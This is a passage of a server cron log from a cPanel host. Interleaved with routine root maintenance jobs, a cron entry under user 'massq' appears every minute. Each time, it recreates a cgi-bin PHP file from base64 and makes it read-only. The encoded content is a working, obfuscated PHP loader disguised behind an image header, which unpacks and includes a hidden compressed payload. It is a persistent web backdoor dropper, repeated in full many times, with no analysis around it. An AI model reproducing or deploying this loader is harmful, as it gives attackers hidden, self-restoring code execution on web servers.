qICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:10:02 server CROND[24366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:10:02 server CROND[24367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:11:01 server CROND[25263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:11:01 server CROND[25264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:11:01 server CROND[25265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:12:01 server CROND[25764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:12:01 server CROND[25765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:12:01 server CROND[25766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:12:01 server CROND[25767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:13:01 server CROND[26132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:13:01 server CROND[26133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:13:01 server CROND[26134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:14:01 server CROND[26500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:14:01 server CROND[26499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:14:01 server CROND[26501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:15:01 server CROND[26880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:15:01 server CROND[26882]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:15:01 server CROND[26884]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 20:15:01 server CROND[26887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:15:01 server CROND[26885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:15:01 server CROND[26886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:15:01 server CROND[26888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:15:01 server CROND[26889]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 20:15:01 server CROND[26890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:16:01 server CROND[27732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:16:01 server CROND[27733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:16:01 server CROND[27734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:17:01 server CROND[28199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:17:01 server CROND[28200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:17:01 server CROND[28201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:18:01 server CROND[28606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:18:01 server CROND[28607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:18:01 server CROND[28609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:19:01 server CROND[28988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:19:01 server CROND[28986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:19:01 server CROND[28987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:20:01 server CROND[29371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:20:01 server CROND[29373]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:20:01 server CROND[29375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:20:01 server CROND[29379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:20:01 server CROND[29378]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:20:01 server CROND[29380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:20:01 server CROND[29376]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:20:01 server CROND[29382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:20:01 server CROND[29377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:21:01 server CROND[30195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:21:01 server CROND[30196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:21:01 server CROND[30197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:22:01 server CROND[30660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:22:01 server CROND[30661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:22:01 server CROND[30663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdL